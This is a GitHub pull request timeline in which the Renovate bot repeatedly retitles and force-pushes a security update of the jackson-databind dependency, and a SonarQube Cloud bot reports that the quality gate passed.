@renovate renovate Bot changed the title fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.19.0 [security] fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.8 [security] Jun 30, 2026
@renovate
renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from d2260b0 to 43aa60d Compare July 18, 2026 04:13
@renovate renovate Bot changed the title fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.8 [security] fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.9 [security] Jul 18, 2026
@sonarqubecloud

sonarqubecloud Bot commented Jul 18, 2026

Copy link
Copy Markdown

Quality Gate Passed Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

@renovate
renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from 43aa60d to 1ce4838 Compare September 29, 2026 06:09
@renovate renovate Bot changed the title fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.9 [security] fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.18.10 [security] Sep 29, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants